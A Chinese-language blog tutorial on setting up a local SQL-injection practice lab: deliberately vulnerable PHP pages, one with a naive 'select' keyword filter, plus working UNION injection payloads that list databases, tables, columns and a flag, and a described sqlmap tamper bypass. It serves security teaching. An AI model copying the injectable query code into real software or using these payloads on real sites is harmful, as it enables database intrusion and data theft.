搭建环境
- Debian10.x
- apache2
- MariaDB10.x
- php7.3
环境搭建可参考
https://blog.csdn.net/weixin_43623271/article/details/122372456
数据库准备工作
下面的操作可以根据自己的喜好更改,如数据库名字,表名,记录,用户名(也可以用root),总之可以随便改
创建一个test
数据库
创建一个class
数据表
插入几条数据
创建一个数据库用户xiaoming
,用于管理靶场的数据库
mysql> grant all privileges on test.* to 'xiaoming'@'%' identified by '123456' with grant option;
查看xiaoming
用户确实存在
数据库工作准备完成,接下来就是靶场代码
靶场第一关
id没有做任何的防御
代码
改一改数据库参数即可
first.php
<?php
$server = 'localhost';
$user = 'xiaoming'; //用户名
$password = '123456';//密码
$dbname = 'test';//数据库名
$conn = mysqli_connect($server, $user, $password, $dbname);
if (!$conn) {
die("连接失败" . mysqli_connect_error());
}
$uid = $_REQUEST['id'];
// 字符型
$sql = "select id,lastname,email from class where id='" . $uid . "'";
$result = mysqli_query($conn, $sql);
if (isset($uid) && $uid != '') {
if (mysqli_num_rows($result) > 0) {
$html .= "<table>";
while ($row = mysqli_fetch_array($result)) {
$id = $row['id'];
$name = $row['lastname'];
$email = $row['email'];
$html .= "<tr><td>id:{$id}</td><td>name:{$name}</td><td>email:{$email}<td></td>";
}
$html .= "</table>";
} else {
$html .= "<p>你输入的userID不存在,请重新输入!</p>";
}
} else {
$html .= "请在输入框输入数字!<br>";
}
$html .= "你输入的sql语句是:{$sql}";
mysqli_close($conn);
?>
<html>
<body>
<h1>第一关:联合查询注入/布尔注入</h1>
<form action="" method="get">
<input name="id" value="">
<input name="submit" value="submit" type="submit">
</form>
<?php echo $html; ?>
</body>
</html>
效果如下
输入框输入1
可以查询到数据并且源代码执行的数据库查询语句也显示在页面上,是字符型。
联合查询注入
查看所有数据库
1' union select 1,2,group_concat(schema_name) from information_schema.schemata%23
查看test
中所有表
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = "test"%23
看到有个flag表(是我后面加上去的),查看一下字段
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = "test" and table_name="flag"%23
查询flag记录
1' union select 1,2,group_concat(flag) from test.flag%23
靶场第二关
id过滤了select关键字
这关我打算用sqlmap做
代码
<?php
$server = 'localhost';
$user = 'xiaoming';
$password = '123456';
$dbname = 'test';
$conn = mysqli_connect($server, $user, $password, $dbname);
if (!$conn) {
die("连接失败" . mysqli_connect_error());
}
$arr = array("/select/i");
$uid = $_REQUEST['id'];
$uid = preg_replace($arr, "", $uid);
// 字符型
$sql = "select id,lastname,email from class where id='" . $uid . "'";
$result = mysqli_query($conn, $sql);
if (isset($uid) && $uid != '') {
if (mysqli_num_rows($result) > 0) {
$html .= "<table>";
while ($row = mysqli_fetch_array($result)) {
$id = $row['id'];
$name = $row['lastname'];
$email = $row['email'];
$html .= "<tr><td>id:{$id}</td><td>name:{$name}</td><td>email:{$email}<td></td>";
}
$html .= "</table>";
} else {
$html .= "<p>你输入的userID不存在,请重新输入!</p>";
}
} else {
$html .= "请在输入框输入数字!<br>";
}
$html .= "你输入的sql语句是:{$sql}";
mysqli_close($conn);
?>
<html>
<body>
<h1>第二关:过滤select绕过</h1>
<h2>使用函数preg_replace</h2>
<form action="" method="get">
<input name="id" value="">
<input name="submit" value="submit" type="submit">
</form>
<?php echo $html; ?>
</body>
</html>
主要代码
将select替换为空
$arr = array("/select/i");
$uid = $_REQUEST['id'];
$uid = preg_replace($arr, "", $uid);
效果
select被吃掉了
上sqlmap,看看过滤了select关键字,sqlmap能否检测出sql注入漏洞
居然检测出来了。可以看到有布尔类型和基于延时的盲注
但是我查看数据库的时候
这里只显示了一个数据库,不符合现实,可能是select过滤了其他库select不了
sqlmap脚本编写
我们可以自己写一些绕过脚本,然后加入--tamper
选项运用到sqlmap的payload中,这样就能绕过一些防御手段。
sqlmap脚本存放位置
sqlmap目录下的tamper目录
根据这个select过滤,我写了一个绕过脚本
selectbypass.py
这个脚本作用是将select替换成双写select
运用脚本
我先把之前的缓存删除,不删除的话结果跟上次的没区别,缓存文件位置在下面可以看到
然后运用了两个脚本,继续跑
unionalltounion.py 是sqlmap自带脚本,作用将union all 替换成union
selectbypass.py是我刚刚写的脚本,作用将select替换成双写select
看到下面两行消息,证明脚本可用
看到了多了一个联合查询注入漏洞,原来是没有的。
再查看所有数据库
这次的结果就没错了
查看test
数据库所有表
也没问题,当然大家也可以搭建第三关、第四关。。
参考资料
sqlmap中文手册,直接搜选项即可
https://sqlmap.kvko.live/usage/injection#xiu-gai-zhu-ru-shu-ju